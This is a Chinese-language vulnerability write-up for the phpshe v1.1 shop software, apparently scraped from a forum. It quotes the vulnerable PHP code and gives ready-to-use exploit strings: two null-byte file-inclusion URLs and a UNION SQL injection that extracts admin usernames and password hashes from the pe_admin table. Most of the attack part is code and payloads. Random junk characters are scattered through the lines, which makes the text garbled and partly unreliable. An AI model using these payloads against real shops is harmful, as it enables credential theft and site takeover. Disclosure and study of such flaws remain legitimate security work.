phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
  B8 y9 p, Q! K7 _% p- c5 t6 e/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% ]5 ]+ f' d7 ?/ z8 n8 o}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
' A8 N9 R& S* @* z  L!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
1 X+ T- U* u/ E2 a!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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( V9 ?5 o( [8 b, A" [' Q1 K% m% ?% M//首页文件
% C2 g6 {  P5 O" n<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
. s' ?' h( J, K- ?, d1 q8 n- K% {; P6 Upe_result();
3 j) G% l) Q, X& h+ f6 O# j: z?>
2 Q% s& R+ w& L; N& j0 k//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
( R4 o4 V0 ~1 j& k$ E5 p5 Q' y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
5 [3 T" D0 w& T//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

3 }  `9 n/ a3 Y6 R0 a' L( |<code id="code2">

//product.php文件
case 'list':
! _9 I3 ]. ?8 r6 I$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
# ?6 M5 e' [, c; ^) q( R, d  u# I//搜索
/ q0 |( s& W* @$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
+ Q1 k) I- Y7 ~7 \" Swhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
' A: o3 D  l$ r6 @6 N5 |}
# H6 B7 R4 i1 v9 s  ?+ `$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
2 Q) I6 }& b* {' ^+ e* zif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
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else {
$sqlwhere .= " order by `product_id` desc";
}
) S* m/ q: Q" f! j1 v0 e1 Z$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
& T  s. G( p/ o7 s! `3 P. K: G7 T  M$product_hotlist = product_hotlist();
# l( ?0 N$ h. v9 J! T//当前路径
$nowpath = category_path($category_id);
* I7 @% m0 C( v2 M1 Y+ y$seo = pe_seo($info['category_name']);
7 R3 v$ ~, |3 r8 T: ninclude(pe_tpl('product_list.html'));
//跟进selectall函数库
" H$ s5 n, w+ ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
+ \1 b9 w2 F# Y5 O5 @) N9 F" l& h5 \% ]{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
9 g) s8 X0 h3 z5 |7 g0 Q//exp
5 C2 x  x0 _* t# D  o, @2 Yproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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' `$ d1 |5 ~1 ~0 j& `<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

. Y( A) i1 t1 r$ {0 ?. yforeach($cache_payway as $k => $v) {

! e2 Q* u6 P+ ^: O$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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}

; o# u. ~% k6 i7 i$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

) S: K& S2 O1 m4 F6 v# Vif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

0 f. R7 _0 {. F7 _6 G( m& }4 J9 o$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

- N- D9 R' G" d$order['order_name'] .= "{$v['product_name']};";
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echo '正在为您连接支付网站，请稍后...';

0 j$ y' e1 [: Q' [& binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

3 q% P( u% I% G! d8 x0 belse {

9 N$ ^+ g* r  h% ^  ppe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

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}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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